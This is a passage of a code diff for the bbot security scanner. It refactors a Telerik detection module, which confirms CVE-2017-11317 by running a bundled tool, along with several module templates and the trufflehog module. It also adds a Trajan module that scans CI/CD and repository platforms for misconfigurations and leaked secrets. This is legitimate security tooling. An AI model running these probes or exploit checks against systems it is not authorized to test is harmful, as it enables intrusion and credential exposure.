+                return hash(f"{event.type}{self.normalize_url(event.url)}")
             else:
                 return hash(f"{event.type}{event.netloc}")
         else:  # HTTP_RESPONSE
-            return hash(f"{event.type}{event.data['url']}")
+            return hash(f"{event.type}{event.url}")
 
     async def handle_event(self, event):
         if event.type == "URL":
             if self.config.get("include_subdirs"):
-                base_url = self.normalize_url(event.data)  # Use the entire URL including subdirectories
+                base_url = self.normalize_url(event.url)  # Use the entire URL including subdirectories
 
             else:
                 base_url = f"{event.parsed_url.scheme}://{event.parsed_url.netloc}/"  # path will be omitted
@@ -226,7 +225,7 @@ async def handle_event(self, event):
                     verbose_errors = False
                     # send probe
                     probe_response = await self.helpers.request(
-                        f"{event.data}{webresource}", method="POST", files=probe_data
+                        f"{event.url}{webresource}", method="POST", files=probe_data
                     )
 
                     if probe_response:
@@ -242,7 +241,14 @@ async def handle_event(self, event):
 
                     description = f"Telerik RAU AXD Handler detected. Verbose Errors Enabled: [{str(verbose_errors)}] Version Guess: [{version}]"
                     await self.emit_event(
-                        {"host": str(event.host), "url": f"{base_url}{webresource}", "description": description},
+                        {
+                            "host": str(event.host),
+                            "url": f"{base_url}{webresource}",
+                            "description": description,
+                            "name": "Telerik Handler",
+                            "severity": "INFO",
+                            "confidence": "HIGH",
+                        },
                         "FINDING",
                         event,
                         context=f"{{module}} scanned {base_url} and identified {{event.type}}: Telerik RAU AXD Handler",
@@ -251,7 +257,6 @@ async def handle_event(self, event):
                         if base_url not in self.RAUConfirmed:
                             self.RAUConfirmed.append(base_url)
                             root_tool_path = self.scan.helpers.tools_dir / "telerik"
-                            self.debug(root_tool_path)
 
                             for version in self.telerikVersions:
                                 command = [
@@ -269,17 +274,19 @@ async def handle_event(self, event):
                                     command.append(self.scan.http_proxy)
 
                                 output = await self.run_process(command)
-                                description = f"[CVE-2017-11317] [{str(version)}] {webresource}"
+                                description = f"Confirmed Vulnerable Telerik (version: {str(version)})"
                                 if "fileInfo" in output.stdout:
                                     self.debug(f"Confirmed Vulnerable Telerik (version: {str(version)}")
                                     await self.emit_event(
                                         {
                                             "severity": "CRITICAL",
+                                            "confidence": "CONFIRMED",
                                             "description": description,
                                             "host": str(event.host),
                                             "url": f"{base_url}{webresource}",
+                                            "name": "Telerik RCE",
                                         },
-                                        "VULNERABILITY",
+                                        "FINDING",
                                         event,
                                         context=f"{{module}} scanned {base_url} and identified critical {{event.type}}: {description}",
                                     )
@@ -290,9 +297,8 @@ async def handle_event(self, event):
                 url = self.create_url(base_url, f"{dh}?dp=1")
                 urls[url] = dh
 
-            gen = self.helpers.request_batch(list(urls))
             fail_count = 0
-            async for url, response in gen:
+            async for url, response in self.helpers.request_batch_stream(list(urls)):
                 # cancel if we run into timeouts etc.
                 if response is None:
                     fail_count += 1
@@ -301,18 +307,25 @@ async def handle_event(self, event):
                     if fail_count < 2:
                         continue
                     self.debug(f"Cancelling run against {base_url} due to failed request")
-                    await gen.aclose()
+                    break
                 else:
                     if "Cannot deserialize dialog parameters" in response.text:
                         self.debug(f"Detected Telerik UI instance ({dh})")
                         description = "Telerik DialogHandler detected"
                         await self.emit_event(
-                            {"host": str(event.host), "url": f"{base_url}{dh}", "description": description},
+                            {
+                                "host": str(event.host),
+                                "url": f"{base_url}{dh}",
+                                "description": description,
+                                "name": "Telerik Handler",
+                                "confidence": "CONFIRMED",
+                                "severity": "INFO",
+                            },
                             "FINDING",
                             event,
                         )
                         # Once we have a match we need to stop, because the basic handler (Telerik.Web.UI.DialogHandler.aspx) usually works with a path wildcard
-                        await gen.aclose()
+                        break
 
             spellcheckhandler = "Telerik.Web.UI.SpellCheckHandler.axd"
             result, _ = await self.test_detector(base_url, spellcheckhandler)
@@ -331,6 +344,9 @@ async def handle_event(self, event):
                             "host": str(event.host),
                             "url": f"{base_url}{spellcheckhandler}",
                             "description": description,
+                            "name": "Telerik Handler",
+                            "confidence": "CONFIRMED",
+                            "severity": "INFO",
                         },
                         "FINDING",
                         event,
@@ -350,6 +366,9 @@ async def handle_event(self, event):
                             "host": str(event.host),
                             "url": f"{base_url}{chartimagehandler}",
                             "description": "Telerik ChartImage AXD Handler Detected",
+                            "name": "Telerik Handler",
+                            "confidence": "CONFIRMED",
+                            "severity": "INFO",
                         },
                         "FINDING",
                         event,
@@ -357,8 +376,8 @@ async def handle_event(self, event):
                     )
 
         elif event.type == "HTTP_RESPONSE":
-            resp_body = event.data.get("body", None)
-            url = event.data["url"]
+            resp_body = event.body
+            url = event.url
             if resp_body:
                 if '":{"SerializedParameters":"' in resp_body:
                     await self.emit_event(
@@ -366,6 +385,9 @@ async def handle_event(self, event):
                             "host": str(event.host),
                             "url": url,
                             "description": "Telerik DialogHandler [SerializedParameters] Detected in HTTP Response",
+                            "name": "Telerik Handler",
+                            "confidence": "CONFIRMED",
+                            "severity": "INFO",
                         },
                         "FINDING",
                         event,
@@ -377,6 +399,9 @@ async def handle_event(self, event):
                             "host": str(event.host),
                             "url": url,
                             "description": "Telerik AsyncUpload [serializedConfiguration] Detected in HTTP Response",
+                            "name": "Telerik AsyncUpload",
+                            "confidence": "CONFIRMED",
+                            "severity": "INFO",
                         },
                         "FINDING",
                         event,
@@ -389,7 +414,7 @@ def create_url(self, baseurl, detector):
     async def test_detector(self, baseurl, detector):
         result = None
         url = self.create_url(baseurl, detector)
-        result = await self.helpers.request(url, timeout=self.scan.httpx_timeout)
+        result = await self.helpers.request(url, timeout=self.scan.http_timeout)
         return result, detector
 
     async def filter_event(self, event):
diff --git a/bbot/modules/templates/bucket.py b/bbot/modules/templates/bucket.py
index d5fdd2d3f9..1c96eeaf8d 100644
--- a/bbot/modules/templates/bucket.py
+++ b/bbot/modules/templates/bucket.py
@@ -7,7 +7,7 @@
 class bucket_template(BaseModule):
     watched_events = ["DNS_NAME", "STORAGE_BUCKET"]
     produced_events = ["STORAGE_BUCKET", "FINDING"]
-    flags = ["active", "safe", "cloud-enum", "web-basic"]
+    flags = ["active", "cloud-enum", "web"]
     options = {"permutations": False}
     options_desc = {
         "permutations": "Whether to try permutations",
@@ -42,7 +42,7 @@ async def filter_event(self, event):
         return True
 
     def filter_bucket(self, event):
-        if not any(t.endswith(f"-{self.cloudcheck_provider_name.lower()}") for t in event.tags):
+        if self.cloudcheck_provider_name.lower() not in event.tags:
             return False, "bucket belongs to a different cloud provider"
         return True, ""
 
@@ -67,16 +67,23 @@ async def handle_dns_name(self, event):
                 "STORAGE_BUCKET",
                 parent=event,
                 tags=tags,
-                context=f"{{module}} tried {num_buckets:,} bucket variations of {event.data} and found {{event.type}} at {url}",
+                context=f"{{module}} tried {num_buckets:,} bucket variations of {event.pretty_string} and found {{event.type}} at {url}",
             )
 
     async def handle_storage_bucket(self, event):
-        url = event.data["url"]
+        url = event.url
         bucket_name = event.data["name"]
         if self.supports_open_check:
             description, tags = await self._check_bucket_open(bucket_name, url)
             if description:
-                event_data = {"host": event.host, "url": url, "description": description}
+                event_data = {
+                    "host": event.host,
+                    "url": url,
+                    "description": description,
+                    "name": "Open Storage Bucket",
+                    "severity": "LOW",
+                    "confidence": "HIGH",
+                }
                 await self.emit_event(
                     event_data,
                     "FINDING",
@@ -124,7 +131,7 @@ async def brute_buckets(self, buckets, permutations=False, omit_base=False):
                 for bucket_name in new_buckets:
                     url, kwargs = self.build_bucket_request(bucket_name, base_domain, region)
                     bucket_urls_kwargs.append((url, kwargs, (bucket_name, base_domain, region)))
-        async for url, kwargs, (bucket_name, base_domain, region), response in self.helpers.request_custom_batch(
+        async for url, response, (bucket_name, base_domain, region) in self.helpers.request_batch_stream(
             bucket_urls_kwargs
         ):
             existent_bucket, tags = self._check_bucket_exists(bucket_name, response)
diff --git a/bbot/modules/templates/gitlab.py b/bbot/modules/templates/gitlab.py
index 4b8605955f..a40832bc3a 100644
--- a/bbot/modules/templates/gitlab.py
+++ b/bbot/modules/templates/gitlab.py
@@ -16,8 +16,7 @@ class GitLabBaseModule(BaseModule):
     saas_domains = ["gitlab.com", "gitlab.org"]
 
     async def setup(self):
-        if self.options.get("api_key") is not None:
-            await self.require_api_key()
+        await self.require_api_key()
         return True
 
     async def handle_social(self, event):
@@ -92,7 +91,7 @@ async def handle_namespace(self, namespace, event):
     # Utility helpers
     # ------------------------------------------------------------------
     def get_base_url(self, event):
-        base_url = event.data.get("url", "")
+        base_url = event.url
         if not base_url:
             base_url = f"https://{event.host}"
         return self.helpers.urlparse(base_url)._replace(path="/").geturl()
diff --git a/bbot/modules/templates/postman.py b/bbot/modules/templates/postman.py
index 490c6e62eb..f5c2fdc811 100644
--- a/bbot/modules/templates/postman.py
+++ b/bbot/modules/templates/postman.py
@@ -19,7 +19,6 @@ class postman(BaseModule):
         "Origin": "https://www.postman.com",
         "Referer": "https://www.postman.com/search?q=&scope=public&type=all",
     }
-    auth_required = True
 
     async def setup(self):
         await super().setup()
diff --git a/bbot/modules/templates/sql.py b/bbot/modules/templates/sql.py
index 39b4e6f00e..ef12ef7bf7 100644
--- a/bbot/modules/templates/sql.py
+++ b/bbot/modules/templates/sql.py
@@ -1,9 +1,10 @@
+import asyncio
 from contextlib import suppress
 from sqlmodel import SQLModel
 from sqlalchemy.orm import sessionmaker
 from sqlalchemy.ext.asyncio import create_async_engine, AsyncSession
 
-from bbot.db.sql.models import Event, Scan, Target
+from bbot.models.sql import Event, Scan, Target
 from bbot.modules.output.base import BaseOutputModule
 
 
@@ -15,6 +16,7 @@ class SQLTemplate(BaseOutputModule):
         "password": "",
         "host": "127.0.0.1",
         "port": 0,
+        "retries": 10,
     }
     options_desc = {
         "database": "The database to use",
@@ -22,6 +24,7 @@ class SQLTemplate(BaseOutputModule):
         "password": "The password to use to connect to the database",
         "host": "The host to use to connect to the database",
         "port": "The port to use to connect to the database",
+        "retries": "Number of times to retry connecting to the database (1 second between retries)",
     }
 
     protocol = ""
@@ -32,9 +35,26 @@ async def setup(self):
         self.password = self.config.get("password", "")
         self.host = self.config.get("host", "127.0.0.1")
         self.port = self.config.get("port", 0)
-
-        await self.init_database()
-        return True
+        retries = self.config.get("retries", 10)
+
+        connection_string = self.connection_string(mask_password=True)
+        last_error = None
+        max_attempts = retries + 1
+        for attempt in range(max_attempts):
+            try:
+                self.verbose(f"Connecting to {connection_string} (attempt {attempt + 1}/{max_attempts})")
+                await self.init_database()
+                self.verbose(f"Successfully connected to {connection_string}")
+                return True
+            except Exception as e:
+                last_error = e
+                if attempt < retries:
+                    self.verbose(
+                        f"Failed to connect to {connection_string} (attempt {attempt + 1}/{max_attempts}): {e}"
+                    )
+                    await asyncio.sleep(1)
+
+        return False, f"Failed to reach {connection_string} after {max_attempts} attempts: {last_error}"
 
     async def handle_event(self, event):
         event_obj = Event(**event.json()).validated
diff --git a/bbot/modules/templates/subdomain_enum.py b/bbot/modules/templates/subdomain_enum.py
index a65d08f315..357d54f9ff 100644
--- a/bbot/modules/templates/subdomain_enum.py
+++ b/bbot/modules/templates/subdomain_enum.py
@@ -9,7 +9,7 @@ class subdomain_enum(BaseModule):
 
     watched_events = ["DNS_NAME"]
     produced_events = ["DNS_NAME"]
-    flags = ["subdomain-enum", "passive", "safe"]
+    flags = ["subdomain-enum", "passive"]
     meta = {"description": "Query an API for subdomains"}
 
     base_url = "https://api.example.com"
@@ -63,7 +63,7 @@ async def handle_event(self, event):
                             "DNS_NAME",
                             event,
                             abort_if=self.abort_if,
-                            context=f'{{module}} searched {self.source_pretty_name} for "{query}" and found {{event.type}}: {{event.data}}',
+                            context=f'{{module}} searched {self.source_pretty_name} for "{query}" and found {{event.type}}: {{event.pretty_string}}',
                         )
 
     async def handle_event_paginated(self, event):
@@ -81,7 +81,7 @@ async def handle_event_paginated(self, event):
                         "DNS_NAME",
                         event,
                         abort_if=self.abort_if,
-                        context=f'{{module}} searched {self.source_pretty_name} for "{query}" and found {{event.type}}: {{event.data}}',
+                        context=f'{{module}} searched {self.source_pretty_name} for "{query}" and found {{event.type}}: {{event.pretty_string}}',
                     )
 
     async def request_url(self, query):
@@ -161,15 +161,17 @@ async def _is_wildcard(self, query):
         return False
 
     async def filter_event(self, event):
+        if not self.config.get("recursive_mutations", True) and any(t.startswith("mutation-") for t in event.tags):
+            return False, "event was discovered by dnsbrute_mutations and recursive_mutations is False"
         query = self.make_query(event)
         # check if wildcard
         is_wildcard = await self._is_wildcard(query)
         # check if cloud
         is_cloud = False
-        if any(t.startswith("cloud-") for t in event.tags):
+        if "cloud" in event.tags:
             is_cloud = True
-        # reject if it's a cloud resource and not in our target
-        if is_cloud and event not in self.scan.target.whitelist:
+        # reject if it's a cloud resource and not in our target (unless it's a seed event)
+        if is_cloud and not self.scan.in_target(event) and "seed" not in event.tags:
             return False, "Event is a cloud resource and not a direct target"
         # optionally reject events with wildcards / errors
         if self.reject_wildcards:
@@ -198,8 +200,8 @@ class subdomain_enum_apikey(subdomain_enum):
 
     watched_events = ["DNS_NAME"]
     produced_events = ["DNS_NAME"]
-    flags = ["subdomain-enum", "passive", "safe"]
-    meta = {"description": "Query API for subdomains", "auth_required": True}
+    flags = ["subdomain-enum", "passive"]
+    meta = {"description": "Query API for subdomains"}
     options = {"api_key": ""}
     options_desc = {"api_key": "API key"}
 
diff --git a/bbot/modules/templates/webhook.py b/bbot/modules/templates/webhook.py
index 79dc11750d..162fdacdbc 100644
--- a/bbot/modules/templates/webhook.py
+++ b/bbot/modules/templates/webhook.py
@@ -11,7 +11,8 @@ class WebhookOutputModule(BaseOutputModule):
     accept_dupes = False
     message_size_limit = 2000
     content_key = "content"
-    vuln_severities = ["UNKNOWN", "LOW", "MEDIUM", "HIGH", "CRITICAL"]
+    severities = ["INFO", "LOW", "MEDIUM", "HIGH", "CRITICAL"]
+    confidences = ["UNKNOWN", "LOW", "MEDIUM", "HIGH", "CONFIRMED"]
 
     # abort module after 10 failed requests (not including retries)
     _api_failure_abort_threshold = 10
@@ -21,10 +22,10 @@ class WebhookOutputModule(BaseOutputModule):
     async def setup(self):
         self.webhook_url = self.config.get("webhook_url", "")
         self.min_severity = self.config.get("min_severity", "LOW").strip().upper()
-        assert self.min_severity in self.vuln_severities, (
-            f"min_severity must be one of the following: {','.join(self.vuln_severities)}"
+        assert self.min_severity in self.severities, (
+            f"min_severity must be one of the following: {','.join(self.severities)}"
         )
-        self.allowed_severities = self.vuln_severities[self.vuln_severities.index(self.min_severity) :]
+        self.allowed_severities = self.severities[self.severities.index(self.min_severity) :]
         if not self.webhook_url:
             self.warning("Must set Webhook URL")
             return False
@@ -45,37 +46,40 @@ async def handle_event(self, event):
 
     def get_watched_events(self):
         if self._watched_events is None:
-            event_types = self.config.get("event_types", ["VULNERABILITY"])
+            event_types = self.config.get("event_types", ["FINDING"])
             if isinstance(event_types, str):
                 event_types = [event_types]
             self._watched_events = set(event_types)
         return self._watched_events
 
     async def filter_event(self, event):
-        if event.type == "VULNERABILITY":
-            severity = event.data.get("severity", "UNKNOWN")
+        if event.type == "FINDING":
+            severity = event.data.get("severity", "INFO")
             if severity not in self.allowed_severities:
                 return False, f"{severity} is below min_severity threshold"
         return True
 
     def format_message_str(self, event):
         event_tags = ",".join(event.tags)
-        return f"`[{event.type}]`\t**`{event.data}`**\ttags:{event_tags}"
+        return f"`[{event.type}]`\t**`{event.pretty_string}`**\ttags:{event_tags}"
 
     def format_message_other(self, event):
         event_yaml = yaml.dump(event.data)
         event_type = f"**`[{event.type}]`**"
-        if event.type in ("VULNERABILITY", "FINDING"):
-            event_str, color = self.get_severity_color(event)
-            event_type = f"{color} {event_str} {color}"
+        if event.type == "FINDING":
+            event_str, severity_color, confidence_color = self.get_colors(event)
+            event_type = f"{severity_color} {confidence_color} {event_str}"
         return f"""**`{event_type}`**\n```yaml\n{event_yaml}```"""
 
-    def get_severity_color(self, event):
-        if event.type == "VULNERABILITY":
-            severity = event.data.get("severity", "UNKNOWN")
-            return f"{event.type} ({severity})", event.severity_colors[severity]
+    def get_colors(self, event):
+        if event.type == "FINDING":
+            severity = event.data.get("severity", "INFO")
+            confidence = event.data.get("confidence", "UNKNOWN")
+            severity_color = event.severity_colors_emoji.get(severity, "⬜")
+            confidence_color = event.confidence_colors_emoji.get(confidence, "⚪")
+            return f"{event.type} (Severity: {severity} / Confidence: {confidence})", severity_color, confidence_color
         else:
-            return event.type, "🟦"
+            return event.type, "🟦", ""
 
     def format_message(self, event):
         if isinstance(event.data, str):
diff --git a/bbot/modules/trajan.py b/bbot/modules/trajan.py
new file mode 100644
index 0000000000..a136ed06eb
--- /dev/null
+++ b/bbot/modules/trajan.py
@@ -0,0 +1,272 @@
+import json
+from urllib.parse import urlparse
+
+from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
+
+
+class trajan(BaseModule):
+    watched_events = ["CODE_REPOSITORY", "URL_UNVERIFIED", "TECHNOLOGY"]
+    produced_events = ["FINDING"]
+    flags = ["safe", "passive", "code-enum"]
+    meta = {
+        "description": "Scans GitHub, GitLab, Azure DevOps, Jenkins, and JFrog for misconfigurations using Praetorian's Trajan tool",
+        "created_date": "2026-04-11",
+        "author": "@N7WERA",
+    }
+
+    # Configuration options
+    class Config(BaseModuleConfig):
+        version: str = Field("1.0.0", description="Trajan version to download and use")
+        github_token: str = Field(
+            "", description="GitHub API token for rate-limiting and private repo access", sensitive=True
+        )
+        gitlab_token: str = Field("", description="GitLab API token for private repo access", sensitive=True)
+        ado_token: str = Field("", description="Azure DevOps Personal Access Token (PAT)", sensitive=True)
+        jfrog_token: str = Field("", description="JFrog API token", sensitive=True)
+        jenkins_username: str = Field("", description="Jenkins username for basic auth", sensitive=True)
+        jenkins_password: str = Field("", description="Jenkins password for basic auth", sensitive=True)
+        jenkins_token: str = Field("", description="Jenkins API token", sensitive=True)
+
+    deps_ansible = [
+        {
+            "name": "Download Trajan binary",
+            "unarchive": {
+                "src": "https://github.com/praetorian-inc/trajan/releases/download/v#{BBOT_MODULES_TRAJAN_VERSION}/trajan_#{BBOT_MODULES_TRAJAN_VERSION}_#{BBOT_OS}_#{BBOT_CPU_ARCH_GOLANG}.tar.gz",
+                "include": "trajan",
+                "dest": "#{BBOT_TOOLS}",
+                "remote_src": True,
+            },
+        }
+    ]
+
+    # Platform detection from URL domains (SaaS platforms)
+    domain_platforms = {
+        "github.com": "github",
+        "gitlab.com": "gitlab",
+        "jfrog.com": "jfrog",
+        "jfrog.io": "jfrog",
+    }
+
+    # Platform detection from TECHNOLOGY event names (lowercased)
+    technology_platforms = {
+        "jenkins": "jenkins",
+        "jfrog": "jfrog",
+        "artifactory": "jfrog",
+    }
+
+    async def setup(self):
+        self.github_token = self.config.get("github_token", "")
+
+        # Borrow GitHub token from other modules if not explicitly set
+        if not self.github_token:
+            for module_name in ("github", "github_codesearch", "github_org", "git_clone"):
+                other_config = self.scan.config.get("modules", {}).get(module_name, {})
+                api_key = other_config.get("api_key", "")
+                if api_key:
+                    self.github_token = api_key
+                    self.debug(f"Borrowing GitHub token from {module_name}")
+                    break
+
+        self.gitlab_token = self.config.get("gitlab_token", "")
+        self.ado_token = self.config.get("ado_token", "")
+        self.jfrog_token = self.config.get("jfrog_token", "")
+        self.jenkins_username = self.config.get("jenkins_username", "")
+        self.jenkins_password = self.config.get("jenkins_password", "")
+        self.jenkins_token = self.config.get("jenkins_token", "")
+        if self.jenkins_token or (self.jenkins_username and self.jenkins_password):
+            self.warning(
+                "Jenkins credentials are configured. These will be sent to ANY in-scope server detected as Jenkins!"
+            )
+        return True
+
+    def detect_platform_from_url(self, hostname, domain):
+        """Detect platform from URL hostname/domain."""
+        if domain == "azure.com" and hostname.startswith("dev."):
+            return "ado"
+        return self.domain_platforms.get(domain)
+
+    def detect_platform_from_technology(self, technology):
+        """Detect platform from a TECHNOLOGY event's technology name."""
+        return self.technology_platforms.get(technology.lower())
+
+    def _get_platform(self, event):
+        """Detect the platform for an event, or None if not applicable."""
+        if event.type == "TECHNOLOGY":
+            tech = event.data.get("technology", "").lower()
+            return self.detect_platform_from_technology(tech)
+        hostname = str(event.host)
+        _, domain = self.helpers.split_domain(hostname)
+        return self.detect_platform_from_url(hostname, domain)
+
+    def _incoming_dedup_hash(self, event):
+        platform = self._get_platform(event)
+        return hash(f"{platform}:{event.host}"), f"already scanned {event.host} as {platform}"
+
+    async def filter_event(self, event):
+        if event.type == "TECHNOLOGY":
+            tech = event.data.get("technology", "").lower()
+            if tech not in self.technology_platforms:
+                return False, f"technology '{tech}' is not supported by trajan"
+            if not event.url:
+                return False, "TECHNOLOGY event has no URL"
+
+        platform = self._get_platform(event)
+        if platform is None:
+            return False, "could not determine platform from event"
+        return True
+
+    async def handle_event(self, event):
+        if event.type == "TECHNOLOGY":
+            await self.handle_technology(event)
+        else:
+            await self.handle_url(event)
+
+    async def handle_technology(self, event):
+        tech = event.data.get("technology", "").lower()
+        platform = self.detect_platform_from_technology(tech)
+        url = event.url
+        parsed = urlparse(url)
+        base_url = f"{parsed.scheme}://{parsed.netloc}"
+        path_parts = [p for p in parsed.path.strip("/").split("/") if p]
+
+        handler = getattr(self, f"handle_{platform}", None)
+        if handler:
+            await handler(event, parsed, base_url, path_parts)
+
+    async def handle_url(self, event):
+        parsed = getattr(event, "parsed_url", None)
+        hostname = parsed.hostname
+        _, domain = self.helpers.split_domain(hostname)
+        platform = self.detect_platform_from_url(hostname, domain)
+        base_url = f"{parsed.scheme}://{parsed.netloc}"
+        path_parts = [p for p in parsed.path.strip("/").split("/") if p]
+
+        handler = getattr(self, f"handle_{platform}", None)
+        if handler:
+            await handler(event, parsed, base_url, path_parts)
+
+    async def handle_github(self, event, parsed, base_url, path_parts):
+        if not self.github_token:
+            self.warning(f"Skipping {base_url} - GitHub token required for Trajan")
+            return
+        if len(path_parts) < 2:
+            return
+        repo_path = f"{path_parts[0]}/{path_parts[1]}"
+        command = ["trajan", "github", "scan", "--repo", repo_path, "-o", "json", "--token", self.github_token]
+        self.verbose(f"Scanning GitHub {repo_path} with Trajan")
+        await self.execute_trajan(command, event)
+
+    async def handle_gitlab(self, event, parsed, base_url, path_parts):
+        if not self.gitlab_token:
+            self.warning(f"Skipping {base_url} - GitLab token required for Trajan")
+            return
+        if len(path_parts) < 2:
+            return
+        repo_path = f"{path_parts[0]}/{path_parts[1]}"
+        command = ["trajan", "gitlab", "scan", "--project", repo_path, "-o", "json", "--token", self.gitlab_token]
+        self.verbose(f"Scanning GitLab {repo_path} with Trajan")
+        await self.execute_trajan(command, event)
+
+    async def handle_ado(self, event, parsed, base_url, path_parts):
+        if not self.ado_token:
+            self.warning(f"Skipping {base_url} - Azure DevOps token required for Trajan")
+            return
+        # e.g., https://dev.azure.com/org/project/_git/repo
+        if len(path_parts) < 4 or path_parts[2] != "_git":
+            return
+        org = path_parts[0]
+        project = path_parts[1]
+        repo = path_parts[3]
+        repo_path = f"{project}/{repo}"
+        command = ["trajan", "ado", "scan", "--org", org, "--repo", repo_path, "-o", "json", "--token", self.ado_token]
+        self.verbose(f"Scanning Azure DevOps {org}/{repo_path} with Trajan")
+        await self.execute_trajan(command, event)
+
+    async def handle_jfrog(self, event, parsed, base_url, path_parts):
+        if not self.jfrog_token:
+            self.warning(f"Skipping {base_url} - JFrog token required for Trajan")
+            return
+        command = [
+            "trajan",
+            "jfrog",
+            "scan",
+            "--url",
+            base_url,
+            "--secrets",
+            "-o",
+            "json",
+            "--token",
+            self.jfrog_token,
+        ]
+        self.verbose(f"Scanning JFrog {base_url} with Trajan")
+        await self.execute_trajan(command, event, is_jfrog=True)
+
+    async def handle_jenkins(self, event, parsed, base_url, path_parts):
+        if not self.jenkins_token and not (self.jenkins_username and self.jenkins_password):
+            self.warning(f"Skipping {base_url} - Jenkins token or username/password required for Trajan")
+            return
+        command = ["trajan", "jenkins", "scan", "--url", base_url, "-o", "json"]
+        # Check if it's a specific job
+        try:
+            job_idx = path_parts.index("job")
+            if job_idx + 1 < len(path_parts):
+                command.extend(["--repo", path_parts[job_idx + 1]])
+        except ValueError:
+            pass
+        if self.jenkins_token:
+            command.extend(["--token", self.jenkins_token])
+        if self.jenkins_username and self.jenkins_password:
+            command.extend(["--username", self.jenkins_username, "--password", self.jenkins_password])
+        self.verbose(f"Scanning Jenkins {base_url} with Trajan")
+        await self.execute_trajan(command, event)
+
+    async def execute_trajan(self, command, event, is_jfrog=False):
+        process = await self.run_process(command)
+        if not process or not process.stdout:
+            return
+
+        try:
+            result = json.loads(process.stdout)
+        except json.JSONDecodeError:
+            self.debug(f"Trajan JSONDecodeError. Raw stdout: {process.stdout}")
+            return
+
+        if is_jfrog:
+            await self.parse_jfrog_results(result, event)
+        else:
+            await self.parse_findings(result, event)
+
+    async def parse_findings(self, result, event):
+        for finding_data in result.get("findings", []):
+            finding = {
+                "name": f"Trajan - {finding_data.get('type', 'unknown')}",
+                "description": finding_data.get("evidence", "No description provided."),
+                "severity": finding_data.get("severity", "info").upper(),
+                "confidence": "MEDIUM",
+                "host": event.host,
+            }
+            workflow = finding_data.get("workflow", "")
+            if workflow:
+                finding["description"] += f" (Workflow: {workflow})"
+            await self.emit_event(finding, "FINDING", event)
+
+    async def parse_jfrog_results(self, result, event):
+        for secret in result.get("artifactSecrets", []):
+            finding = {
+                "name": f"Trajan - JFrog Artifact Secret ({', '.join(secret.get('secretTypes', []))})",
+                "description": f"Secret found in artifact {secret.get('artifact', 'unknown')} at path {secret.get('path', 'unknown')}",
+                "severity": "HIGH",
+                "confidence": "HIGH",
+                "host": event.host,
+            }
+            await self.emit_event(finding, "FINDING", event)
+        for secret in result.get("buildSecrets", []):
+            finding = {
+                "name": f"Trajan - JFrog Build Secret ({', '.join(secret.get('secretTypes', []))})",
+                "description": f"Secret found in build {secret.get('buildName', 'unknown')} #{secret.get('buildNumber', '?')} env var {secret.get('envVar', 'unknown')}",
+                "severity": "HIGH",
+                "confidence": "HIGH",
+                "host": event.host,
+            }
+            await self.emit_event(finding, "FINDING", event)
diff --git a/bbot/modules/trickest.py b/bbot/modules/trickest.py
index 246fdcfdec..ff44e06a52 100644
--- a/bbot/modules/trickest.py
+++ b/bbot/modules/trickest.py
@@ -1,22 +1,15 @@
 from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class Trickest(subdomain_enum_apikey):
     watched_events = ["DNS_NAME"]
     produced_events = ["DNS_NAME"]
-    flags = ["affiliates", "subdomain-enum", "passive", "safe"]
-    meta = {
-        "description": "Query Trickest's API for subdomains",
-        "author": "@amiremami",
-        "created_date": "2024-07-27",
-        "auth_required": True,
-    }
-    options = {
-        "api_key": "",
-    }
-    options_desc = {
-        "api_key": "Trickest API key",
-    }
+    flags = ["safe", "affiliates", "subdomain-enum", "passive"]
+    meta = {"description": "Query Trickest's API for subdomains", "author": "@amiremami", "created_date": "2024-07-27"}
+
+    class Config(BaseModuleConfig):
+        api_key: str | list[str] = Field("", description="Trickest API key", sensitive=True, mandatory=True)
 
     base_url = "https://api.trickest.io/solutions/v1/public/solution/a7cba1f1-df07-4a5c-876a-953f178996be"
     ping_url = f"{base_url}/dataset"
diff --git a/bbot/modules/trufflehog.py b/bbot/modules/trufflehog.py
index afe2dbf2ea..8df8f5b57a 100644
--- a/bbot/modules/trufflehog.py
+++ b/bbot/modules/trufflehog.py
@@ -1,32 +1,29 @@
 import json
 from functools import partial
 from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class trufflehog(BaseModule):
     watched_events = ["CODE_REPOSITORY", "FILESYSTEM", "HTTP_RESPONSE", "RAW_TEXT"]
-    produced_events = ["FINDING", "VULNERABILITY"]
-    flags = ["passive", "safe", "code-enum"]
+    produced_events = ["FINDING"]
+    flags = ["safe", "passive", "code-enum"]
     meta = {
         "description": "TruffleHog is a tool for finding credentials",
         "created_date": "2024-03-12",
         "author": "@domwhewell-sage",
     }
 
-    options = {
-        "version": "3.95.5",
-        "config": "",
-        "only_verified": True,
-        "concurrency": 8,
-        "deleted_forks": False,
-    }
-    options_desc = {
-        "version": "trufflehog version",
-        "config": "File path or URL to YAML trufflehog config",
-        "only_verified": "Only report credentials that have been verified",
-        "concurrency": "Number of concurrent workers",
-        "deleted_forks": "Scan for deleted github forks. WARNING: This is SLOW. For a smaller repository, this process can take 20 minutes. For a larger repository, it could take hours.",
-    }
+    class Config(BaseModuleConfig):
+        version: str = Field("3.95.5", description="trufflehog version")
+        config: str = Field("", description="File path or URL to YAML trufflehog config")
+        only_verified: bool = Field(True, description="Only report credentials that have been verified")
+        concurrency: int = Field(8, description="Number of concurrent workers")
+        deleted_forks: bool = Field(
+            False,
+            description="Scan for deleted github forks. WARNING: This is SLOW. For a smaller repository, this process can take 20 minutes. For a larger repository, it could take hours.",
+        )
+
     deps_ansible = [
         {
             "name": "Download trufflehog",
@@ -49,7 +46,7 @@ async def setup_deps(self):
 
     async def setup(self):
         self.verified = self.config.get("only_verified", True)
-        self.concurrency = int(self.config.get("concurrency", 8))
+        self.concurrency = self.config.get("concurrency", 8)
 
         self.deleted_forks = self.config.get("deleted_forks", False)
         self.github_token = ""
@@ -75,7 +72,7 @@ async def filter_event(self, event):
             if self.deleted_forks:
                 if "git" not in event.tags:
                     return False, "Module only accepts git CODE_REPOSITORY events"
-                if "github" not in event.data["url"]:
+                if "github" not in event.url:
                     return False, "Module only accepts github CODE_REPOSITORY events"
             else:
                 return False, "Deleted forks is not enabled"
@@ -90,7 +87,7 @@ async def handle_event(self, event):
             description = event.data.get("description", "")
 
         if event.type == "CODE_REPOSITORY":
-            path = event.data["url"]
+            path = event.url
             module = "github-experimental"
         elif event.type == "FILESYSTEM":
             path = event.data["path"]
@@ -123,14 +120,16 @@ async def handle_event(self, event):
             source_metadata,
         ) in self.execute_trufflehog(module, path):
             verified_str = "Verified" if verified else "Possible"
